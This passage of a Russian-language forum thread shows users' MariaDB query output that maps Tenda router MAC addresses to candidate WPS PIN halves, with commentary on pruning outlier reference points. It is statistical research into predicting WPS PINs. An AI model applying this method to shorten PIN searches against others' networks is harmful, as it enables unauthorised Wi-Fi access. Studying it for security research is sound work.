tenda_pin_explore(null,80):
----------------------------------
обработано 4322 пар,
найдено 170 уникальных дельт (1:25.4),
из них 78 мажорных (вес 97.87%)
1 row in set (1.00 sec)

MariaDB [Tenda]> select tenda_pin_explore(null,800);
*************************** 1. row ***************************
tenda_pin_explore(null,800):
----------------------------------
обработано 2202 пар,
найдено 215 уникальных дельт (1:10.2),
из них 92 мажорных (вес 94.41%)
1 row in set (0.83 sec)

MariaDB [Tenda]> select tenda_pin_explore(null,8000);
*************************** 1. row ***************************
tenda_pin_explore(null,8000):
----------------------------------
обработано 683 пар,
найдено 198 уникальных дельт (1:3.45),
из них 61 мажорных (вес 79.94%)
1 row in set (0.77 sec)

MariaDB [Tenda]> select tenda_pin_explore(null,80000);
*************************** 1. row ***************************
tenda_pin_explore(null,80000):
----------------------------------
обработано 292 пар,
найдено 216 уникальных дельт (1:1.35),
из них 24 мажорных (вес 34.25%)
1 row in set (0.75 sec)

MariaDB [Tenda]> select tenda_pin_explore(null,800000);
*************************** 1. row ***************************
tenda_pin_explore(null,800000):
----------------------------------
обработано 214 пар,
найдено 207 уникальных дельт (1:1.03),
из них 7 мажорных (вес 6.54%)
1 row in set (0.76 sec)

MariaDB [Tenda]>

[/CODE]



Excel файл с расчётами сделаный не мною но достаточно полезный.

https://t.me/routerscan/66754 - ссылка в телеграме



А можно поглядеть этот файл в виде csv/tsv (телегу я не юзаю, да и xlsx открывать не умею )

Andrey9999
26.06.2020, 12:07
А можно поглядеть этот файл в виде csv/tsv



https://drive.google.com/file/d/1bb6WIW4UuuBeHF17ACVe2TT2ReJsgkB0/view?usp=sharing

Isica
26.06.2020, 13:24
К слову, о слабых точках: оказывается, они бывают именно слабыми!


MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:EA:D8,,,2');select * from tmp_TendaHalfs where X;
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:EA:D8,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:E9:48, -400, 2363 пар, 200 уникальных дельт (1:11.8), 10 мажорных(вес 95.9%)
|2) 04:95:E6:62:E8:C0, -536, 2241 пар, 163 уникальных дельт (1:13.7), 67 мажорных(вес 95.7%)
|3) 04:95:E6:62:E7:30, -936, 2117 пар, 179 уникальных дельт (1:11.8), 71 мажорных(вес 94.9%)
|4) 04:95:E6:62:E6:48, -1168, 2019 пар, 174 уникальных дельт (1:11.6), 62 мажорных(вес 94.5%)
|5) 04:95:E6:62:F0:38, +1376, 1965 пар, 195 уникальных дельт (1:10.1), 87 мажорных(вес 94.5%)
|6) 04:95:E6:62:F0:40, +1384, 1929 пар, 160 уникальных дельт (1:12.1), 75 мажорных(вес 95.6%)
|7) 04:95:E6:62:F1:00, +1576, 1831 пар, 169 уникальных дельт (1:10.8), 62 мажорных(вес 94.2%)
|8) 04:95:E6:62:F1:D8, +1792, 1801 пар, 186 уникальных дельт (1:9.70), 76 мажорных(вес 93.9%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1152 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.55.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 742 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.02 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9291 | 5 | 5 | 2879 | 219 | 939 | 493 | 939 | 176 | 0 | 113 | 0 |
| 2 | 9226 | 5 | 5 | 2279 | 566 | 342 | 176 | 234 | 592 | 0 | 369 | 0 |
| 3 | 291 | 5 | 5 | 502 | 50 | 161 | 73 | 162 | 45 | 0 | 11 | 0 |
| 4 | 226 | 5 | 5 | 433 | 129 | 55 | 29 | 39 | 120 | 0 | 61 | 0 |
| 5 | 8226 | 5 | 5 | 276 | 62 | 30 | 37 | 25 | 50 | 0 | 72 | 0 |
| 6 | 8291 | 4 | 5 | 296 | 16 | 74 | 86 | 85 | 16 | 0 | 19 | 0 |
| 7 | 6068 | 3 | 4 | 259 | 106 | 44 | 0 | 80 | 28 | 0 | 0 | 1 |
| 8 | 9160 | 3 | 3 | 728 | 212 | 11 | 0 | 0 | 330 | 0 | 175 | 0 |
| 9 | 6003 | 3 | 3 | 643 | 435 | 46 | 0 | 38 | 124 | 0 | 0 | 0 |
| 10 | 6069 | 3 | 3 | 192 | 40 | 102 | 0 | 30 | 20 | 0 | 0 | 0 |
| 11 | 5003 | 3 | 3 | 191 | 60 | 37 | 0 | 33 | 61 | 0 | 0 | 0 |
| 12 | 160 | 3 | 3 | 118 | 32 | 2 | 0 | 0 | 62 | 0 | 22 | 0 |
| 13 | 5068 | 3 | 3 | 117 | 16 | 31 | 0 | 57 | 13 | 0 | 0 | 0 |
| 14 | 5069 | 3 | 3 | 114 | 7 | 75 | 0 | 20 | 12 | 0 | 0 | 0 |
| 15 | 8160 | 3 | 3 | 83 | 26 | 3 | 0 | 0 | 31 | 0 | 23 | 0 |
| 16 | 6028 | 3 | 3 | 7 | 1 | 1 | 4 | 1 | 0 | 0 | 0 | 0 |
| 17 | 9292 | 2 | 2 | 169 | 0 | 146 | 0 | 0 | 13 | 0 | 10 | 0 |
| 18 | 5937 | 2 | 2 | 140 | 103 | 2 | 0 | 0 | 35 | 0 | 0 | 0 |
| 19 | 9225 | 2 | 2 | 123 | 41 | 0 | 52 | 30 | 0 | 0 | 0 | 0 |
| 20 | 225 | 2 | 2 | 21 | 7 | 0 | 9 | 5 | 0 | 0 | 0 | 0 |
| 21 | 4938 | 2 | 2 | 20 | 5 | 3 | 0 | 0 | 12 | 0 | 0 | 0 |
| 22 | 9161 | 2 | 2 | 19 | 0 | 2 | 0 | 0 | 13 | 0 | 4 | 0 |
| 23 | 8292 | 2 | 2 | 15 | 0 | 13 | 0 | 0 | 1 | 0 | 1 | 0 |
| 24 | 211 | 2 | 2 | 3 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 25 | 8240 | 1 | 3 | 6 | 1 | 1 | 2 | 2 | 0 | 0 | 0 | 0 |
| 26 | 1514 | 1 | 2 | 79 | 0 | 0 | 67 | 0 | 0 | 0 | 11 | 1 |
| 27 | 5938 | 1 | 2 | 72 | 39 | 1 | 0 | 0 | 32 | 0 | 0 | 0 |
| 28 | 292 | 1 | 2 | 34 | 0 | 30 | 0 | 0 | 3 | 0 | 1 | 0 |
| 29 | 8447 | 1 | 2 | 5 | 0 | 3 | 0 | 1 | 1 | 0 | 0 | 0 |
| 30 | 3485 | 1 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
| 31 | 8680 | 1 | 2 | 3 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 |
| 32 | 9634 | 1 | 1 | 688 | 0 | 0 | 0 | 0 | 0 | 621 | 0 | 67 |
| 33 | 6411 | 1 | 1 | 648 | 0 | 0 | 0 | 0 | 0 | 146 | 0 | 502 |
| 34 | 6346 | 1 | 1 | 619 | 0 | 0 | 0 | 0 | 0 | 78 | 0 | 541 |
| 35 | 2514 | 1 | 1 | 581 | 0 | 0 | 475 | 0 | 0 | 0 | 106 | 0 |
| 36 | 2449 | 1 | 1 | 433 | 0 | 0 | 76 | 0 | 0 | 0 | 357 | 0 |
| 37 | 9568 | 1 | 1 | 425 | 0 | 0 | 0 | 0 | 0 | 369 | 0 | 56 |
| 38 | 2448 | 1 | 1 | 203 | 0 | 0 | 181 | 0 | 0 | 0 | 22 | 0 |
| 39 | 634 | 1 | 1 | 184 | 0 | 0 | 0 | 0 | 0 | 131 | 0 | 53 |
| 40 | 5411 | 1 | 1 | 142 | 0 | 0 | 0 | 0 | 0 | 68 | 0 | 74 |
| 41 | 5346 | 1 | 1 | 121 | 0 | 0 | 0 | 0 | 0 | 37 | 0 | 84 |
| 42 | 568 | 1 | 1 | 106 | 0 | 0 | 0 | 0 | 0 | 70 | 0 | 36 |
| 43 | 9569 | 1 | 1 | 102 | 0 | 0 | 0 | 0 | 0 | 94 | 0 | 8 |
| 44 | 3514 | 1 | 1 | 101 | 0 | 0 | 87 | 0 | 0 | 0 | 14 | 0 |
| 45 | 1449 | 1 | 1 | 79 | 0 | 0 | 15 | 0 | 0 | 0 | 64 | 0 |
| 46 | 3449 | 1 | 1 | 75 | 0 | 0 | 10 | 0 | 0 | 0 | 65 | 0 |
| 47 | 9357 | 1 | 1 | 75 | 0 | 0 | 33 | 42 | 0 | 0 | 0 | 0 |
| 48 | 6345 | 1 | 1 | 40 | 0 | 0 | 0 | 0 | 0 | 25 | 0 | 15 |
| 49 | 3448 | 1 | 1 | 31 | 0 | 0 | 26 | 0 | 0 | 0 | 5 | 0 |
| 50 | 1448 | 1 | 1 | 30 | 0 | 0 | 26 | 0 | 0 | 0 | 4 | 0 |
| 51 | 569 | 1 | 1 | 29 | 0 | 0 | 0 | 0 | 0 | 19 | 0 | 10 |
| 52 | 4937 | 1 | 1 | 22 | 9 | 0 | 0 | 0 | 13 | 0 | 0 | 0 |
| 53 | 8225 | 1 | 1 | 17 | 6 | 0 | 11 | 0 | 0 | 0 | 0 | 0 |
| 54 | 357 | 1 | 1 | 10 | 0 | 0 | 1 | 9 | 0 | 0 | 0 | 0 |
| 55 | 8357 | 1 | 1 | 8 | 0 | 0 | 3 | 5 | 0 | 0 | 0 | 0 |
| 56 | 9356 | 1 | 1 | 7 | 0 | 0 | 4 | 3 | 0 | 0 | 0 | 0 |
| 57 | 2740 | 1 | 1 | 4 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 58 | 9145 | 1 | 1 | 4 | 0 | 0 | 3 | 1 | 0 | 0 | 0 | 0 |
| 59 | 5097 | 1 | 1 | 3 | 0 | 2 | 0 | 0 | 1 | 0 | 0 | 0 |
| 60 | 9788 | 1 | 1 | 3 | 0 | 0 | 0 | 1 | 0 | 0 | 2 | 0 |
| 61 | 767 | 1 | 1 | 2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 |
| 62 | 3654 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 63 | 3816 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 64 | 9335 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 65 | 9943 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
65 rows in set (0.00 sec)

Как видим, 6-я и 8-я точки полностью оторваны от коллектива, но при этом вполне пересекаются между собой!

После исключения их из базы, нашлось ещё несколько подобных, и лишь исключив их все, удалось добиться "идилии":

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:EA:D8,,,2');select * from tmp_TendaHalfs where X;
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:EA:D8,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:E9:48, -400, 2363 пар, 200 уникальных дельт (1:11.8), 10 мажорных(вес 95.9%)
|2) 04:95:E6:62:E8:C0, -536, 2241 пар, 163 уникальных дельт (1:13.7), 67 мажорных(вес 95.7%)
|3) 04:95:E6:62:E7:30, -936, 2117 пар, 179 уникальных дельт (1:11.8), 71 мажорных(вес 94.9%)
|4) 04:95:E6:62:E6:48, -1168, 2019 пар, 174 уникальных дельт (1:11.6), 62 мажорных(вес 94.5%)
|5) 04:95:E6:62:F0:38, +1376, 1965 пар, 195 уникальных дельт (1:10.1), 87 мажорных(вес 94.5%)
|6) 04:95:E6:62:F1:00, +1576, 1831 пар, 169 уникальных дельт (1:10.8), 62 мажорных(вес 94.2%)
|7) 04:95:E6:62:F3:50, +2168, 1725 пар, 175 уникальных дельт (1:9.90), 51 мажорных(вес 92.8%)
|8) 04:95:E6:62:F5:B8, +2784, 1545 пар, 213 уникальных дельт (1:7.25), 86 мажорных(вес 91.8%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1136 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.50.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 757 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.01 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9291 | 6 | 6 | 3210 | 219 | 939 | 493 | 939 | 176 | 113 | 0 | 331 |
| 2 | 9226 | 6 | 6 | 2501 | 566 | 342 | 176 | 234 | 592 | 369 | 0 | 222 |
| 3 | 291 | 6 | 6 | 552 | 50 | 161 | 73 | 162 | 45 | 11 | 0 | 50 |
| 4 | 226 | 6 | 6 | 467 | 129 | 55 | 29 | 39 | 120 | 61 | 0 | 34 |
| 5 | 8226 | 6 | 6 | 302 | 62 | 30 | 37 | 25 | 50 | 72 | 0 | 26 |
| 6 | 8291 | 5 | 6 | 337 | 16 | 74 | 86 | 85 | 16 | 19 | 0 | 41 |
| 7 | 6003 | 4 | 4 | 835 | 435 | 46 | 0 | 38 | 124 | 0 | 0 | 192 |
| 8 | 6069 | 4 | 4 | 368 | 40 | 102 | 0 | 30 | 20 | 0 | 0 | 176 |
| 9 | 6068 | 4 | 4 | 358 | 106 | 44 | 0 | 80 | 28 | 0 | 0 | 100 |
| 10 | 5003 | 4 | 4 | 209 | 60 | 37 | 0 | 33 | 61 | 0 | 0 | 18 |
| 11 | 5069 | 4 | 4 | 129 | 7 | 75 | 0 | 20 | 12 | 0 | 0 | 15 |
| 12 | 5068 | 4 | 4 | 128 | 16 | 31 | 0 | 57 | 13 | 0 | 0 | 11 |
| 13 | 9160 | 3 | 3 | 728 | 212 | 11 | 0 | 0 | 330 | 175 | 0 | 0 |
| 14 | 9292 | 3 | 3 | 192 | 0 | 146 | 0 | 0 | 13 | 10 | 0 | 23 |
| 15 | 160 | 3 | 3 | 118 | 32 | 2 | 0 | 0 | 62 | 22 | 0 | 0 |
| 16 | 8160 | 3 | 3 | 83 | 26 | 3 | 0 | 0 | 31 | 23 | 0 | 0 |
| 17 | 8292 | 3 | 3 | 19 | 0 | 13 | 0 | 0 | 1 | 1 | 0 | 4 |
| 18 | 6028 | 3 | 3 | 7 | 1 | 1 | 4 | 1 | 0 | 0 | 0 | 0 |
| 19 | 292 | 2 | 3 | 37 | 0 | 30 | 0 | 0 | 3 | 1 | 0 | 3 |
| 20 | 5937 | 2 | 2 | 140 | 103 | 2 | 0 | 0 | 35 | 0 | 0 | 0 |
| 21 | 9225 | 2 | 2 | 123 | 41 | 0 | 52 | 30 | 0 | 0 | 0 | 0 |
| 22 | 9357 | 2 | 2 | 119 | 0 | 0 | 33 | 42 | 0 | 0 | 0 | 44 |
| 23 | 225 | 2 | 2 | 21 | 7 | 0 | 9 | 5 | 0 | 0 | 0 | 0 |
| 24 | 4938 | 2 | 2 | 20 | 5 | 3 | 0 | 0 | 12 | 0 | 0 | 0 |
| 25 | 357 | 2 | 2 | 19 | 0 | 0 | 1 | 9 | 0 | 0 | 0 | 9 |
| 26 | 9161 | 2 | 2 | 19 | 0 | 2 | 0 | 0 | 13 | 4 | 0 | 0 |
| 27 | 211 | 2 | 2 | 3 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 28 | 8240 | 1 | 3 | 6 | 1 | 1 | 2 | 2 | 0 | 0 | 0 | 0 |
| 29 | 8447 | 1 | 3 | 6 | 0 | 3 | 0 | 1 | 1 | 0 | 0 | 1 |
| 30 | 5938 | 1 | 2 | 72 | 39 | 1 | 0 | 0 | 32 | 0 | 0 | 0 |
| 31 | 8357 | 1 | 2 | 11 | 0 | 0 | 3 | 5 | 0 | 0 | 0 | 3 |
| 32 | 5922 | 1 | 2 | 5 | 0 | 3 | 0 | 1 | 0 | 0 | 0 | 1 |
| 33 | 431 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
| 34 | 3485 | 1 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 |
| 35 | 8680 | 1 | 2 | 3 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 |
| 36 | 9943 | 1 | 2 | 3 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 |
| 37 | 2514 | 1 | 1 | 581 | 0 | 0 | 475 | 0 | 0 | 106 | 0 | 0 |
| 38 | 2449 | 1 | 1 | 433 | 0 | 0 | 76 | 0 | 0 | 357 | 0 | 0 |
| 39 | 2448 | 1 | 1 | 203 | 0 | 0 | 181 | 0 | 0 | 22 | 0 | 0 |
| 40 | 3514 | 1 | 1 | 101 | 0 | 0 | 87 | 0 | 0 | 14 | 0 | 0 |
| 41 | 6477 | 1 | 1 | 93 | 0 | 0 | 0 | 0 | 0 | 0 | 92 | 1 |
| 42 | 1449 | 1 | 1 | 79 | 0 | 0 | 15 | 0 | 0 | 64 | 0 | 0 |
| 43 | 1514 | 1 | 1 | 78 | 0 | 0 | 67 | 0 | 0 | 11 | 0 | 0 |
| 44 | 3449 | 1 | 1 | 75 | 0 | 0 | 10 | 0 | 0 | 65 | 0 | 0 |
| 45 | 6134 | 1 | 1 | 40 | 0 | 0 | 0 | 4 | 0 | 0 | 0 | 36 |
| 46 | 3448 | 1 | 1 | 31 | 0 | 0 | 26 | 0 | 0 | 5 | 0 | 0 |
| 47 | 1448 | 1 | 1 | 30 | 0 | 0 | 26 | 0 | 0 | 4 | 0 | 0 |
| 48 | 4937 | 1 | 1 | 22 | 9 | 0 | 0 | 0 | 13 | 0 | 0 | 0 |
| 49 | 8225 | 1 | 1 | 17 | 6 | 0 | 11 | 0 | 0 | 0 | 0 | 0 |
| 50 | 5134 | 1 | 1 | 7 | 0 | 0 | 0 | 2 | 0 | 0 | 0 | 5 |
| 51 | 9356 | 1 | 1 | 7 | 0 | 0 | 4 | 3 | 0 | 0 | 0 | 0 |
| 52 | 2489 | 1 | 1 | 6 | 0 | 0 | 0 | 0 | 3 | 0 | 0 | 3 |
| 53 | 2423 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 3 | 0 | 0 | 1 |
| 54 | 2740 | 1 | 1 | 4 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 55 | 9145 | 1 | 1 | 4 | 0 | 0 | 3 | 1 | 0 | 0 | 0 | 0 |
| 56 | 5097 | 1 | 1 | 3 | 0 | 2 | 0 | 0 | 1 | 0 | 0 | 0 |
| 57 | 9788 | 1 | 1 | 3 | 0 | 0 | 0 | 1 | 0 | 2 | 0 | 0 |
| 58 | 767 | 1 | 1 | 2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 |
| 59 | 3654 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 60 | 3816 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 61 | 5851 | 1 | 1 | 2 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
| 62 | 6552 | 1 | 1 | 2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
| 63 | 8041 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
| 64 | 9335 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 65 | 9431 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
65 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:EA:D8,,,2');select * from tmp_TendaHalfs where X;
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:EA:D8,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:E9:48, -400, 2363 пар, 200 уникальных дельт (1:11.8), 10 мажорных(вес 95.9%)
|2) 04:95:E6:62:E8:C0, -536, 2241 пар, 163 уникальных дельт (1:13.7), 67 мажорных(вес 95.7%)
|3) 04:95:E6:62:E7:30, -936, 2117 пар, 179 уникальных дельт (1:11.8), 71 мажорных(вес 94.9%)
|4) 04:95:E6:62:E6:48, -1168, 2019 пар, 174 уникальных дельт (1:11.6), 62 мажорных(вес 94.5%)
|5) 04:95:E6:62:F0:38, +1376, 1965 пар, 195 уникальных дельт (1:10.1), 87 мажорных(вес 94.5%)
|6) 04:95:E6:62:F1:00, +1576, 1831 пар, 169 уникальных дельт (1:10.8), 62 мажорных(вес 94.2%)
|7) 04:95:E6:62:F5:B8, +2784, 1545 пар, 213 уникальных дельт (1:7.25), 86 мажорных(вес 91.8%)
|8) 04:95:E6:62:F7:98, +3264, 1440 пар, 179 уникальных дельт (1:8.04), 52 мажорных(вес 91.2%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1141 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.48.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 769 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.03 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9291 | 6 | 6 | 3210 | 219 | 939 | 493 | 939 | 176 | 113 | 331 | 0 |
| 2 | 9226 | 6 | 6 | 2501 | 566 | 342 | 176 | 234 | 592 | 369 | 222 | 0 |
| 3 | 291 | 6 | 6 | 552 | 50 | 161 | 73 | 162 | 45 | 11 | 50 | 0 |
| 4 | 226 | 6 | 6 | 467 | 129 | 55 | 29 | 39 | 120 | 61 | 34 | 0 |
| 5 | 8226 | 6 | 6 | 302 | 62 | 30 | 37 | 25 | 50 | 72 | 26 | 0 |
| 6 | 8291 | 5 | 6 | 337 | 16 | 74 | 86 | 85 | 16 | 19 | 41 | 0 |
| 7 | 6003 | 4 | 4 | 835 | 435 | 46 | 0 | 38 | 124 | 0 | 192 | 0 |
| 8 | 6069 | 4 | 4 | 368 | 40 | 102 | 0 | 30 | 20 | 0 | 176 | 0 |
| 9 | 6068 | 4 | 4 | 358 | 106 | 44 | 0 | 80 | 28 | 0 | 100 | 0 |
| 10 | 5003 | 4 | 4 | 209 | 60 | 37 | 0 | 33 | 61 | 0 | 18 | 0 |
| 11 | 5069 | 4 | 4 | 129 | 7 | 75 | 0 | 20 | 12 | 0 | 15 | 0 |
| 12 | 5068 | 4 | 4 | 128 | 16 | 31 | 0 | 57 | 13 | 0 | 11 | 0 |
| 13 | 9160 | 3 | 3 | 728 | 212 | 11 | 0 | 0 | 330 | 175 | 0 | 0 |
| 14 | 9292 | 3 | 3 | 192 | 0 | 146 | 0 | 0 | 13 | 10 | 23 | 0 |
| 15 | 160 | 3 | 3 | 118 | 32 | 2 | 0 | 0 | 62 | 22 | 0 | 0 |
| 16 | 8160 | 3 | 3 | 83 | 26 | 3 | 0 | 0 | 31 | 23 | 0 | 0 |
| 17 | 8292 | 3 | 3 | 19 | 0 | 13 | 0 | 0 | 1 | 1 | 4 | 0 |
| 18 | 6028 | 3 | 3 | 7 | 1 | 1 | 4 | 1 | 0 | 0 | 0 | 0 |
| 19 | 292 | 2 | 3 | 37 | 0 | 30 | 0 | 0 | 3 | 1 | 3 | 0 |
| 20 | 5937 | 2 | 2 | 140 | 103 | 2 | 0 | 0 | 35 | 0 | 0 | 0 |
| 21 | 9225 | 2 | 2 | 123 | 41 | 0 | 52 | 30 | 0 | 0 | 0 | 0 |
| 22 | 9357 | 2 | 2 | 119 | 0 | 0 | 33 | 42 | 0 | 0 | 44 | 0 |
| 23 | 225 | 2 | 2 | 21 | 7 | 0 | 9 | 5 | 0 | 0 | 0 | 0 |
| 24 | 4938 | 2 | 2 | 20 | 5 | 3 | 0 | 0 | 12 | 0 | 0 | 0 |
| 25 | 357 | 2 | 2 | 19 | 0 | 0 | 1 | 9 | 0 | 0 | 9 | 0 |
| 26 | 9161 | 2 | 2 | 19 | 0 | 2 | 0 | 0 | 13 | 4 | 0 | 0 |
| 27 | 211 | 2 | 2 | 3 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 28 | 8447 | 1 | 4 | 7 | 0 | 3 | 0 | 1 | 1 | 0 | 1 | 1 |
| 29 | 8240 | 1 | 3 | 6 | 1 | 1 | 2 | 2 | 0 | 0 | 0 | 0 |
| 30 | 5938 | 1 | 2 | 72 | 39 | 1 | 0 | 0 | 32 | 0 | 0 | 0 |
| 31 | 8357 | 1 | 2 | 11 | 0 | 0 | 3 | 5 | 0 | 0 | 3 | 0 |
| 32 | 5922 | 1 | 2 | 5 | 0 | 3 | 0 | 1 | 0 | 0 | 1 | 0 |
| 33 | 431 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 34 | 3485 | 1 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 |
| 35 | 8680 | 1 | 2 | 3 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 |
| 36 | 2514 | 1 | 1 | 581 | 0 | 0 | 475 | 0 | 0 | 106 | 0 | 0 |
| 37 | 2449 | 1 | 1 | 433 | 0 | 0 | 76 | 0 | 0 | 357 | 0 | 0 |
| 38 | 2448 | 1 | 1 | 203 | 0 | 0 | 181 | 0 | 0 | 22 | 0 | 0 |
| 39 | 3514 | 1 | 1 | 101 | 0 | 0 | 87 | 0 | 0 | 14 | 0 | 0 |
| 40 | 1449 | 1 | 1 | 79 | 0 | 0 | 15 | 0 | 0 | 64 | 0 | 0 |
| 41 | 1514 | 1 | 1 | 78 | 0 | 0 | 67 | 0 | 0 | 11 | 0 | 0 |
| 42 | 3449 | 1 | 1 | 75 | 0 | 0 | 10 | 0 | 0 | 65 | 0 | 0 |
| 43 | 6134 | 1 | 1 | 40 | 0 | 0 | 0 | 4 | 0 | 0 | 36 | 0 |
| 44 | 3448 | 1 | 1 | 31 | 0 | 0 | 26 | 0 | 0 | 5 | 0 | 0 |
| 45 | 1448 | 1 | 1 | 30 | 0 | 0 | 26 | 0 | 0 | 4 | 0 | 0 |
| 46 | 4937 | 1 | 1 | 22 | 9 | 0 | 0 | 0 | 13 | 0 | 0 | 0 |
| 47 | 8225 | 1 | 1 | 17 | 6 | 0 | 11 | 0 | 0 | 0 | 0 | 0 |
| 48 | 5134 | 1 | 1 | 7 | 0 | 0 | 0 | 2 | 0 | 0 | 5 | 0 |
| 49 | 9356 | 1 | 1 | 7 | 0 | 0 | 4 | 3 | 0 | 0 | 0 | 0 |
| 50 | 2489 | 1 | 1 | 6 | 0 | 0 | 0 | 0 | 3 | 0 | 3 | 0 |
| 51 | 2423 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 3 | 0 | 1 | 0 |
| 52 | 2740 | 1 | 1 | 4 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 53 | 9145 | 1 | 1 | 4 | 0 | 0 | 3 | 1 | 0 | 0 | 0 | 0 |
| 54 | 5097 | 1 | 1 | 3 | 0 | 2 | 0 | 0 | 1 | 0 | 0 | 0 |
| 55 | 9788 | 1 | 1 | 3 | 0 | 0 | 0 | 1 | 0 | 2 | 0 | 0 |
| 56 | 767 | 1 | 1 | 2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 |
| 57 | 3654 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 58 | 3816 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 59 | 5851 | 1 | 1 | 2 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 |
| 60 | 6552 | 1 | 1 | 2 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
| 61 | 8041 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 62 | 9335 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 63 | 9431 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 64 | 9943 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
64 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:EA:D8,,,2');select * from tmp_TendaHalfs where X;
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:EA:D8,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:E9:48, -400, 2363 пар, 200 уникальных дельт (1:11.8), 10 мажорных(вес 95.9%)
|2) 04:95:E6:62:E8:C0, -536, 2241 пар, 163 уникальных дельт (1:13.7), 67 мажорных(вес 95.7%)
|3) 04:95:E6:62:E7:30, -936, 2117 пар, 179 уникальных дельт (1:11.8), 71 мажорных(вес 94.9%)
|4) 04:95:E6:62:E6:48, -1168, 2019 пар, 174 уникальных дельт (1:11.6), 62 мажорных(вес 94.5%)
|5) 04:95:E6:62:F0:38, +1376, 1965 пар, 195 уникальных дельт (1:10.1), 87 мажорных(вес 94.5%)
|6) 04:95:E6:62:F1:00, +1576, 1831 пар, 169 уникальных дельт (1:10.8), 62 мажорных(вес 94.2%)
